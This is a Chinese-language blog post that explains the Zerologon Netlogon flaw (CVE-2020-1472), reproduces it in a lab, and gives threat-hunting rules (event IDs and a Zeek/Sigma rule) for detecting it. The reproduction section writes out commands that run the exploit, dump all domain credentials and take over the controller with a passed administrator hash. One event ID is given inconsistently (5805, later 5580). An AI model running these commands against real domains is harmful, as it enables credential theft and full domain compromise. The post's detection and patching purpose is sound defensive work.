2020年9月11日,安全公司Secura发布了公告,披露了Microsoft在2020年8月修补的漏洞细节(CVE-2020-1472)。该漏洞也称为“Zerologon”,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。本文将从“Zerologon”漏洞原理、漏洞复现、威胁狩猎三个维度对“Zerologon”进行分析。
0x01 漏洞原理
Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证,其协议通讯流程如下:
根据上述流程,攻击者可控的因素有client challenge(在“Zerologon”中,攻击者会将client challenge设置为全0),server challenge在每一轮认证过程中都会变化,secret对应于用户密码的hash,Encrypt的过程采用的是AES-CFB8,其运算过程如下:
AES-CFB8安全性取决于随机选择的IV。但在Netlogon RPC中,作为ComputeNetlogonCredential检查的一部分,IV被错误的设置为0。如果IV和client challenge为全0的话,那么整个AES运算过程变成:
如此一来,通过AES-CFB8加密模式有1/256 概率用8字节全0 明文得到8字节全0密文。
通过上述碰撞方法,攻击者可以向域发起Netlogon 计算机账户认证请求, 使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证,再通过相关调用完成对域控密码的修改。
0x02 漏洞复现
实验环境:
代码语言:javascript复制域控:Winserver2012 R2(x64)
IP:10.10.10.10
hostname:DC
域:de1ay.com
代码语言:javascript复制攻击机:ubuntu1604(x64)
IP:10.10.10.111
运行exp脚本,成功将AD域控的机器账户DC的密码置换成空:
代码语言:javascript复制python3 cve-2020-1472-exploit.py DC 10.10.10.10
此时域控服务器账户密码为空,同等于已知密码,可以导出域内所有用户凭据:
代码语言:javascript复制python3 secretsdump.py de1ay/DC$@10.10.10.10 -no-pass
导出hash后,发现DC的hash为31d6cfe0d16ae931b73c59d7e0c089c0,也就是空密码,同时获得了域管administrator的hash,利用administrator的hash拿下域控:
代码语言:javascript复制python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10
0x03 Threat Hunting Rules
根据上述的分析和验证,针对“Zerologon”这样一个全新的威胁,我们已经清楚了攻击者相应技战术TTP(MITRE ATT&CK:TA0004,T1078.002),假设攻击者已经潜伏在企业内网中,并且正在尝试利用“Zerologon”漏洞攻击域控,在基于上述的假设场景的驱动下,我们该如何通过威胁狩猎(Threat Hunting)的方式主动搜寻这个威胁的相关特定信息,从而发现潜伏在企业中的攻击者?
思路一:通过AD系统审计日志
在实验室环境下,如果域控服务器没有打补丁,攻击者利用“Zerologon”漏洞攻击成功后会有event ID 4742:
event ID 4742表示计算机帐户已更改,我们注意到帐户名是“ANONYMOUS LOGON”,受影响的帐户名称是域控制器计算机帐户(DC$)。所以event ID 4742可以用来发现疑似“Zerologon”漏洞攻击行为,但仅仅通过event ID 4742还不够,因为正常的账户更改也会产生event ID 4742,所以会产生一定的误报。由于攻击者需要通过netlogon RPC协议进行多次尝试,还会产生event ID 5805:
所以基于域控的系统审计日志,我们的Threat Hunting Rule可以这么写:
- 在SIEM中同时检索到域控系统审计日志的两个event ID:失败尝试event ID 5580和成功利用漏洞event ID 4742;
- 并且event ID 4742中帐户名为“ANONYMOUS LOGON”
此外,在8月份的补丁中,Microsoft添加了五个新的event ID,以通知易受攻击的Netlogon连接:
- 允许存在漏洞的Netlogon安全通道连接时,将生成event ID 5829
- 拒绝易受攻击的Netlogon连接时,将触发event ID 5827和5828
- 允许存在漏洞的Netlogon连接时触发的event ID 5830和5831
如果域控已经安装了补丁,还可以在SIEM中搜索以上5个event ID进行威胁狩猎。
思路二:通过网络流量
根据上面的分析,攻击者需要使用8字节全0 client challenge 不断尝试得到一个正确的8字节全0 client credential 通过认证。所以网络中将会有大量的netlogon协议信息:
我们可以使用全流量工具过滤出netlogon协议信息(“protocols == dcerpc”),如果短时间内出现大量的NetrServerAuthenticate3请求,并且client credential全为0,这样的行为是比较异常的。可以参考SOC Prime Team利用zeek编写的Threat Hunting Rule:
代码语言:javascript复制title: Possible CVE-2020-1472 (zerologon)
description: CVE-2020-1472 (Netlogon Elevation of Privilege Vulnerability) may create thousands of NetrServerReqChallenge & NetrServerAuthenticate3 requests in a short amount of time.
author: SOC Prime Team
date: 2020/09/11
references:
- https://github.com/SecuraBV/CVE-2020-1472
tags:
- attack.lateral_movement
- attack.T1210
logsource:
product: zeek
service: dce_rpc
detection:
selection:
endpoint: 'netlogon'
operation: 'NetrServerReqChallenge'
selection2:
endpoint: 'netlogon'
operation: 'NetrServerAuthenticate3'
timeframe: 1m
condition: selection or selection2 | count() by src_ip > 100
falsepositives:
- 'unknown'
level: high
最后,在实验室环境中,由于“Zerologon”漏洞利用会将域控服务器的密码置为空,会造成域内服务的一些异常,所以这个漏洞不但会对域控的安全性造成威胁,实际的攻击利用也会影响AD域控的可用性,因此还是及时打补丁吧。
参考资料:
https://www.cynet.com/zerologon/
https://awakesecurity.com/blog/network-threat-hunting-for-zerologon-exploits-cve-2020-1472/
https://blog.zsec.uk/zerologon-attacking-defending/
https://medium.com/@sieutruc/detection-methods-for-the-cve-2020-1472-zerologon-by-using-the-existing-windows-log-9761ee69d9fc